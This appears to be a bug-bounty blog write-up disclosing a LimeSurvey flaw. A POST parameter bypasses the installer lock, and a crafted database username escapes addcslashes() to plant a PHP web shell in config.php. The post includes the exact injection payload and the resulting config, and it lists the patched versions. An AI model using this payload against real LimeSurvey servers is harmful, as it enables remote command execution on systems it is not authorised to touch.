A day in 2018, I was participating in a bug bounty program, and this target caught my attention:

The reason was pretty simple: LimeSurvey is a name I had never heard of before. I thought to myself that for an uncommon software like this, it should take no more than 5 minutes to find a RCE.

With that belief in mind, I quickly grabbed its source code and started auditing, only to realize later that my assumption turned out to be wrong. It took me about 10 minutes, not 5.

Will try harder next time.

The vulnerability

For most web applications, once installed, it is reasonable that you should be restricted to access the installer of the application again. However, the way LimeSurvey implements that restriction is a big surprise:

     * Installer::_checkInstallation()
     * Based on existance of 'sample_installer_file.txt' file, check if
     * installation should proceed further or not.
     * @return
    private function _checkInstallation()
        if (file_exists(APPPATH.'config/config.php') && is_null(Yii::app()->request->getPost('InstallerConfigForm'))) {
            throw new CHttpException(500, 'Installation has been done already. Installer disabled.');

I do not know if this behavior is intended or not, but I believe you could also see what is wrong here: In order to pass the check, all we need to do is providing the POST parameter named InstallerConfigForm ⊙﹏☉

POST /limesurvey/index.php/installer/database HTTP/1.1


The above request will re-install the database of the application. If nothing goes wrong, the configuration file will then be updated with the database information, as below:

            $sConfig .= "\t\t\t"."'username' => '".addcslashes($sDatabaseUser, "'")."',"."\n"
            ."\t\t\t"."'password' => '".addcslashes($sDatabasePwd, "'")."',"."\n"
            ."\t\t\t"."'charset' => '{$sCharset}',"."\n"
            ."\t\t\t"."'tablePrefix' => '{$sDatabasePrefix}',"."\n";
            if (is_writable(APPPATH.'config')) {
                file_put_contents(APPPATH.'config/config.php', $sConfig);

It is nice to see that the team of LimeSurvey did care about security already. They understood that they need to do something to prevent code injection when putting user-controlled values into a .php file. At least I guessed so.

Unfortunately, calling addcslashes() is not enough to make the code secure. By using \’))).die(`$_GET[1]`);/* as the database username, the configuration file will be filled with the following content, thus give us a web shell:

return array(
    'components' => array(
        'db' => array(
            'connectionString' => 'mysql:host=XXX;port=3306;dbname=YYY;',
            'emulatePrepare' => true,
            'username' => '\\'))).die(`$_GET[1]`);/*',
            'password' => '',
            'charset' => 'utf8mb4',
            'tablePrefix' => 'lime_',

Looks like a CTF challenge, doesn’t it?

Fixed versions

  • 2.6.7 LTS
  • 2.73.1
  • 3.4.2


Leave a comment

Comments are better than Likes

%d bloggers like this: